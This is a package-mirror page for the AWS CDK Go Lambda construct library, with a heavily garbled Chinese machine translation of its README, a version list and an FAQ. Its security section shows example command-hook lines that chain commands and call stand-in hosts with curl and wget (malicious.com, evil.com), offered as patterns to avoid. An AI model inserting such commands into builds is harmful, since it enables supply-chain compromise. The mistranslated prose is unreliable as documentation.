@aws-cdk/aws-lambda-go-alpha

中文文档
2.275.0-alpha.0发布于 2026/10/27Apache-2.0TypeScriptCommonJS零依赖近 30 天下载 10万

戈兰AWS Lambda 的 CDK 建构库g

中文使用文档
文档目录13 节
  1. 转到函数
  2. mod 文件路径
  3. 运行时间
  4. 依赖关系
  5. 环境
  6. 本地缓冲
  7. 夹克
  8. 命令钩子
  9. 安全考虑
  10. 安保最佳做法
  11. 第三方建筑安全
  12. 其他考虑
  13. 基于 Docker 在复杂的 Docker 配置中捆绑

亚马逊Lambda Golang图书馆


cdk-constructs: Experimental

本单元中更高层次的构件的API是实验性的并正在积极开发中. 在今后任何版本中,它们都须作非背向相容的修改或去除。 这些是 不适用 语义版本 模型和断开的更改 在发行笔记中宣布. 这意味着虽然你可能使用它们,但可能需要更新 当更新到此软件包的更新版本时,您的源代码.


该图书馆为Golang Lambda功能提供构件.

要使用此模块,您需要 Go 已安装(go1.11 或较后)或 Docker 已安装. 见 本地缓冲编号 :Docker Bundling 游戏 更多信息.

此模块还要求您的戈兰格应用程序是 使用 GO 版本 & 1. 11 并正在使用 开始模块。 。 。 .

转到函数

定义 a GoFunction数字 :

new go.GoFunction(this, 'handler', {
  entry: 'lambda-app/cmd/api',
});

默认情况下,如果 entry 指向目录,然后构造会假设有一个 Go 条目文件(即:. main.go) (中文(简体) ). 让我们看看Go项目的例子:

lambda-app
├── cmd
│   └── api
│       └── main.go
├── go.mod
├── go.sum
├── pkg
│   ├── auth
│   │   └── auth.go
│   └── middleware
│       └── middleware.go
└── vendor
    ├── github.com
    │   └── aws
    │       └── aws-lambda-go
    └── modules.txt

有了上述布局,我可以提供 entry 作为 lambda-app/cmd/api 或者说 lambda-app/cmd/api/main.go两者都行. 当构建高朗二进制时, 将翻译此二进制 go build ./cmd/api 打开 go build ./cmd/api/main.go 页:1. 构造将找出它需要运行的地方 go build 命令,在此示例中,它来自 页:1 lambda-app 目录。 它通过确定 mod 文件路径中,在 下一节.

mod 文件路径

这个 GoFunction 尝试自动确定您的工程根, 即 你的Golang项目根部。 这里通常是顶层 go.mod 文档或 vendor 您的工程文件夹已找到 。 当捆入一个多克容器时 moduleDir 用作源(/asset-input用于装入量 集装箱.

CDK 将从 当前工作目录,直到找到包含 go.mod 文档.

或者,您可以指定 moduleDir 手动道具。 在这种情况下,你 需要确保这条路径包括: entry 以及所使用的任何模块/相互依存 根据你的功能。 否则,捆绑将失败.

运行时间

这个 GoFunction 可用于任意一种 GO_1_X 运行时间或提供的运行时间( e)PROVIDED编号 :PROVIDED_AL2) (中文(简体) ). 默认情况下,它将使用 PROVIDED_AL2 运行时间。 这个 GO_1_X 运行时间不支持类似的东西 Lambda 扩展,而所提供的运行时间是. 这个 闪闪发光 用于支持所提供运行时间的图书馆 您指定了处理器 bootstrap (这是默认的).

依赖关系

构造将试图找出如何处理您函数的依赖性 。 它会 确定您是否在出售您的依赖关系。 它做出这样的决定 看看有没有 vendor 文件夹位于 mod 文件路径。 。 。 .

有了这些信息,构造就可以决定要运行的命令. 你会的 通常分为两种情况:

  1. 您正在使用销售( 显示于 vendor 文件夹) 在这种情况下 go build 将使用 -mod=vendor 设定
  2. 您没有使用销售商( 以没有 vendor 文件夹) 如果你不卖的话 go build 将不使用 -mod=vendor 因为默认行为是下载依赖性

所有其他属性 lambda.Function 支持,另见 AWS Lambda 构建库。 。 。 .

环境

默认情况下为您设置了以下环境变量:

  • GOOS=linux
  • GOARCH:基于Lambda函数的目标架构
  • GO111MODULE=on

使用 environment 运行时定义其他环境变量的道具 :

new go.GoFunction(this, 'handler', {
  entry: 'app/cmd/api',
  bundling: {
    environment: {
      HELLO: 'WORLD',
    },
  },
});

本地缓冲

若为 Go 本地安装,版本为qq go1.11 然后它将用来将您的代码捆绑在您的环境中。 否则,捆绑将发生在 Lambda 兼容多克容器 与多克平台基于Lambda函数的目标架构.

对于macOS,建议的方法是安装 Go 因为Docker的体积表现很差.

Go 可以通过下列方式安装 安装文件。 。 。 .

夹克

强迫捆绑在一个容器里,即使 Go 设置 forceDockerBundling 向 true。如果您想要确保您的功能在一致的 Lambda 兼容环境中构建,此功能是有用的.

使用 buildArgs 在构建捆绑图像时通过构建参数的道具 :

new go.GoFunction(this, 'handler', {
  entry: 'app/cmd/api',
  bundling: {
    buildArgs: {
      HTTPS_PROXY: 'https://127.0.0.1:3001',
    },
  },
});

使用 bundling.dockerImage 使用自定义捆绑图像的道具 :

new go.GoFunction(this, 'handler', {
  entry: 'app/cmd/api',
  bundling: {
    dockerImage: DockerImage.fromBuild('/path/to/Dockerfile'),
  },
});

使用 bundling.goBuildFlags 将额外的构建旗传给 go build数字 :

new go.GoFunction(this, 'handler', {
  entry: 'app/cmd/api',
  bundling: {
    goBuildFlags: ['-ldflags "-s -w"'],
  },
});

QQ 安全警告:构建旗帜直接传递给Go构建命令,并可在捆绑时执行任意命令. 只使用信任的值并避免像 -toolexec 与不信任的争论。 对可能包含恶意建设旗帜的第三方 CDK 构造要特别谨慎. CDK将在合成时显示警告 goBuildFlags 已使用.

默认情况下,这个构造不会使用 Go 模块的代理. 这与 一个标准 Go 安装, 默认时会使用 Google 代理 。 改为: 重新创建此行为, 执行以下操作 :

new go.GoFunction(this, 'GoFunction', {
  entry: 'app/cmd/api',
  bundling: {
    goProxies: [go.GoFunction.GOOGLE_GOPROXY, 'direct'],
  },
});

您可以设置额外的 Docker 选项来配置构建环境 :

new go.GoFunction(this, 'GoFunction', {
 entry: 'app/cmd/api',
 bundling: {
     network: 'host',
     securityOpt: 'no-new-privileges',
     user: 'user:group',
     volumesFrom: ['777f7dc92da7'],
     volumes: [{ hostPath: '/host-path', containerPath: '/container-path' }],
  },
});

命令钩子

通过指定 commandHooks 道具 :

// Run additional commands on a GoFunction via `commandHooks` property
new go.GoFunction(this, 'handler', {
  entry: 'cmd/api',
  bundling: {
    commandHooks: {
      // run tests
      beforeBundling(inputDir: string): string[] {
        return ['go test ./cmd/api -v'];
      },
      afterBundling(inputDir: string, outputDir: string): string[] {
        return ['echo "Build complete"'];
      },
    },
  },
});

现提供以下钩子:

  • beforeBundling: 在所有捆绑命令之前运行
  • afterBundling: 在所有捆绑命令后运行

他们都收到包含 go.mod 文件( 编号inputDir)和 捆绑资产将输出的目录( e)outputDir) (中文(简体) ). 他们必须回来 要运行的一系列命令。 命令与 &&。 。 。 .

命令将在捆绑发生的环境中运行: 用于多克捆绑的容器或用于本地捆绑的主机OS上.

安全考虑

命令钩子执行任意 shell 命令 在捆绑过程中。 只使用信任的命令 :

安全图案(跨平台):

new go.GoFunction(this, 'SafeFunction', {
  entry: 'cmd/api',
  bundling: {
    commandHooks: {
      beforeBundling: () => [
        'go test ./...',           // ✅ Standard Go commands work on all OS
        'go mod tidy',             // ✅ Go module commands
        'make clean',              // ✅ Build tools (if available)
        'echo "Building app"',     // ✅ Simple output with quotes
      ],
      afterBundling: () => ['echo "Build complete"'],
    },
  },
});

需要避免的危险模式:

窗口特定危险 :

// ❌ Windows-specific dangers
new go.GoFunction(this, 'UnsafeWindowsFunction', {
  entry: 'cmd/api',
  bundling: {
    commandHooks: {
      beforeBundling: () => [
        'go test & curl.exe malicious.com',     // ❌ Command chaining with &
        'echo %USERPROFILE%',                   // ❌ Environment variable expansion
        'powershell -Command "..."',            // ❌ PowerShell execution
      ],
      afterBundling: () => [],
    },
  },
});

Unix/Linux/macOS 危险:

// ❌ Unix/Linux/macOS dangers
new go.GoFunction(this, 'UnsafeUnixFunction', {
  entry: 'cmd/api',
  bundling: {
    commandHooks: {
      beforeBundling: () => [
        'go test; curl malicious.com',          // ❌ Command chaining with ;
        'echo $(whoami)',                       // ❌ Command substitution
        'bash -c "wget evil.com"',              // ❌ Shell execution
      ],
      afterBundling: () => [],
    },
  },
});

使用第三方构造时 包括 GoFunction数字 :

  • 使用前审查构造的源代码
  • 验证它通过哪些命令执行 commandHooks 财务报告和审定财务报表 goBuildFlags
  • 只使用来自信任的出版商的构造
  • 首先在孤立环境中进行测试

这个 GoFunction 当可能不安全时,构造会在合成时显示 CDK 警告 commandHooks 或者说 goBuildFlags 被检测.

更多安全指导见 AWS CDK 安全最佳做法。 。 。 .

安保最佳做法

第三方建筑安全

当使用第三方 CDK 构造时 GoFunction,注意:

  1. 审查源代码 - 检查施工执行情况 commandHooks 财务报告和审定财务报表 goBuildFlags 使用量
  2. 校验出版商 - 仅使用可信、可核查来源的构造
  3. Pin 版本 - 使用准确的版本防止供应链被攻击
  4. 隔离测试 - 在沙箱环境中测试第三方建筑

在使用任何第三方构造之前:

  • 审查 GitHub 或 npm 上的构造源代码
  • 搜索 commandHooks 财务报告和审定财务报表 goBuildFlags 代码中的用法
  • 校验不存在危险命令模式
  • 使用精确的版本夹针来防止供应链攻击

这个 GoFunction 当可能不安全时,构造会在合成时显示 CDK 警告 commandHooks 或者说 goBuildFlags 被检测.

其他考虑

根据您如何构建戈兰格应用程序,您可能想要更改 assetHashType 参数. 默认情况下,此参数设定为 AssetHashType.OUTPUT 这意味着 CDK 将计算资产散列 根据创建的戈兰格可执行文件( 并确定您的代码是否更改 ) .

如果您指定 AssetHashType.SOURCE,CDK将通过查看文件夹来计算资产散列 包含你的 go.mod 文档。 如果您正在部署单一的 Lambda 函数, 或者您想要重新部署 如果有任何变化, 您的所有功能, 那么 AssetHashType.SOURCE 可能会工作.

例如,如果我的应用程序看起来像这样:

lambda-app
├── cmd
│   └── api
│       └── main.go
├── go.mod
├── go.sum
└── pkg
    └── auth
        └── auth.go

有了这个结构,我将提供 entry 作为 cmd/api 这意味着CDK 将确定保护根是 lambda-app (其中包含 go.mod 存档). 因为我只有一个Lambda的功能, 以及任何更新文件 lambda-app 目录 我可以具体指出 AssetHashType.SOURCE。 。 。 .

另一方面,如果我有一个部署多个Lambda功能的项目,例如:

lambda-app
├── cmd
│   ├── api
│   │   └── main.go
│   └── anotherApi
│       └── main.go
├── go.mod
├── go.sum
└── pkg
    ├── auth
    │   └── auth.go
    └── middleware
        └── middleware.go

那样的话,我很可能想要 AssetHashType.OUTPUT与 OUTPUT cDK只有在戈兰可执行文件更改时才会识别变化, 并仅包含可执行文件中使用的依赖性。 这样的话 若为 cmd/api 使用该 auth 打开 middleware 软件包,但是 cmd/anotherApi 没有,那么 更新到 auth 或者说 middleware 只会触发更新 cmd/api 兰布达 函数 .

基于 Docker 在复杂的 Docker 配置中捆绑

默认情况下,基于多克的捆绑的输入和输出是通过绑定挂载处理的. 在不起作用的地方,如Docker-in-Docker设置,或者在使用远程Docker套接字时,您可以配置一个替代但速度较慢的变体,这些变体也在这种情况下起作用.

new go.GoFunction(this, 'GoFunction', {
 entry: 'app/cmd/api',
 bundling: {
      bundlingFileAccess: BundlingFileAccess.VOLUME_COPY,
  },
});

版本与发布记录

@aws-cdk/aws-lambda-go-alpha 共发布 380 个版本,首次发布于 2021/10/14;过去 12 个月发布了 64 个版本。

版本发布日期距今
2.275.0-alpha.0latest2026/10/2712 天前
2.274.0-alpha.02026/10/2018 天前
2.273.0-alpha.02026/10/0929 天前
2.272.0-alpha.02026/09/301 个月前
2.271.0-alpha.02026/09/261 个月前
2.270.0-alpha.02026/09/181 个月前

关于 @aws-cdk/aws-lambda-go-alpha 的常见问题

@aws-cdk/aws-lambda-go-alpha 是什么?

戈兰AWS Lambda 的 CDK 建构库g

如何安装 @aws-cdk/aws-lambda-go-alpha?

在项目目录运行 npm install @aws-cdk/aws-lambda-go-alpha,或使用 pnpm add / yarn add / bun add。它还需要宿主项目提供 peer 依赖:constructs(^10.5.0)、aws-cdk-lib(^2.275.0)。npm 7 及以上与 pnpm 8 及以上默认会自动安装必需的 peer 依赖,Yarn 需要手动安装。

@aws-cdk/aws-lambda-go-alpha 支持 TypeScript 吗?

支持。包内自带 TypeScript 类型声明(package.json 声明了 types 入口),安装后即可获得类型提示,无需再安装 @types 包。

@aws-cdk/aws-lambda-go-alpha 支持 ESM 还是 CommonJS?

以 CommonJS 形式发布,可以直接 require();在 ES Module 项目中也可以用 import 引入(Node.js 会把 module.exports 作为默认导出)。

@aws-cdk/aws-lambda-go-alpha 需要什么版本的 Node.js?

package.json 的 engines 字段要求 Node.js >= 20.0.0。版本不符时 npm 默认只给出警告,开启 engine-strict 后会拒绝安装。

@aws-cdk/aws-lambda-go-alpha 可以商用吗?

@aws-cdk/aws-lambda-go-alpha 使用 Apache-2.0 许可。宽松许可:允许商业使用、修改和再分发,并附带明确的专利授权;分发时需保留许可与 NOTICE 文件,修改过的文件要注明改动。以上为概括,不构成法律意见,请以许可原文为准。

@aws-cdk/aws-lambda-go-alpha 的下载量有多少?

根据 npm 官方下载统计,@aws-cdk/aws-lambda-go-alpha 在 2026/10/08 – 2026/11/06 这 30 天内被下载 100,413 次,日均约 3,347 次。下载量会把 CI 构建、镜像同步和作为其他包依赖的安装一并计入,适合横向比较热度,不能直接等同于使用人数。

@aws-cdk/aws-lambda-go-alpha 还在维护吗?

最新版本 2.275.0-alpha.0 发布于 2026/10/27(12 天前);至今共发布 380 个版本,其中过去 12 个月发布了 64 个;首次发布于 2021/10/14。发布频率只是参考信号:功能稳定的工具可能很少需要更新,建议结合源码仓库的 issue 和提交记录判断。